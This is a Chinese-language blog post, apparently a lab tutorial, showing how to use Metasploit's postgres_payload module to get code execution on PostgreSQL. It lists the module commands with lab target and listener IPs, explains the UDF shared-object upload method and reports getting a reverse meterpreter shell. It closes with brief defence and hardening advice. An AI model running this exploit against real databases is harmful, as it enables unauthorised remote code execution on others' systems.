当前位置:网站首页>6-23漏洞利用-postgresql代码执行利用
6-23漏洞利用-postgresql代码执行利用
2022-08-01 03:54:00 【山兔1】
postgresql代码执行利用
利用msf下 postgresql 的代码执行模块,获得反弹shell。
我们在使用该模块的时候,可以使用命令获取对应的信息
search postgresql
use exploit/linux/postgres/postgres_payload
show info
在某些默认的PostgreSQL Linux安装中,postgres服务帐户可以写入/tmp目录,也可以从那里获得UDF共享库,从而允许执行任意代码。该模块编译一个Linux共享对象文件,通过二进制注入的UPDATE pg_largeobject方法将其上传到目标主机,并从该共享对象创建一个UDF(用户定义函数)。因为负载是作为共享对象的构造函数运行的,所以它不需要遵循特定的Postgres API版本
show options
set rhosts 192.168.1.105
set lhost 192.168.42.128
exploit
很快建立了会话,并且反弹了meterpreter
?
ps
shell
返回一个shell,我们看到反弹回的并不是root shell,而是反弹回postgres shell,它的权限依然不是最高的权限
防御修复
防御:屏蔽任意IP连接postgresql,指定具体的IP地址,来连接postgresql,在一定程度上防御了远程位置IP,连接postgresql的风险
修复:在postgresql出现问题的时候,升级版本,避免出现安全事故,同时也要对默认安装好的软件,进行安全配置,防止默认配置造成的安全隐患,在实际的生产环境当中,我们无法做到快速升级版本,一个东西可能涉及的软件,还有很多,这个时候,我们采用更多的是,安全配置,以及防御的方式,来防止,我们这种软件,受到安全威胁
边栏推荐
- <JDBC> 批量插入 的四种实现方式:你真的get到了吗?
- pdb drug comprehensive database
- 初出茅庐的小李第114篇博客项目笔记之机智云智能浇花器实战(3)-基础Demo实现
- MySQL3
- Weekly Summary (*67): Why not dare to express an opinion
- [Getting Started Tutorial] Rollup Module Packager Integration
- 阿叶的目标
- The 16th day of the special assault version of the sword offer
- Message queue MySQL table for storing message data
- What is dynamic programming and what is the knapsack problem
猜你喜欢
Passive anti-islanding-UVP/OVP and UFP/OFP passive anti-islanding model simulation based on simulink
Mysql基础篇(约束)
预言机简介
Simple and easy to use task queue - beanstalkd
Message queue MySQL table for storing message data
leetcode:126. Word Solitaire II
Unknown Bounded Array
今日睡眠质量记录68分
MySQL4
[kali-information collection] enumeration - DNS enumeration: DNSenum, fierce
随机推荐
【消息通知】用公众号模板消息怎么样?
button remove black frame
初出茅庐的小李第112篇博客项目笔记之机智云智能浇花器实战(1)-基础Demo实现
HCIP(14)
[Getting Started Tutorial] Rollup Module Packager Integration
How to download the Keil package
初出茅庐的小李第113篇博客项目笔记之机智云智能浇花器实战(2)-基础Demo实现
Message Queuing Message Storage Design (Architecture Camp Module 8 Jobs)
故乡的素描画
Mysql中的数据类型和运算符
动态规划 01背包
使用ts-node报错
Unity在BuildIn渲染管线下实现PlanarReflection的初级方法
Dart named parameter syntax
Four implementations of
batch insert: have you really got it? 一个往年的朋友
New York University et al | TM-Vec: Template Modeling Vectors for Rapid Homology Detection and Alignment
Message queue MySQL table for storing message data
win10 fixed local IP
MySQL3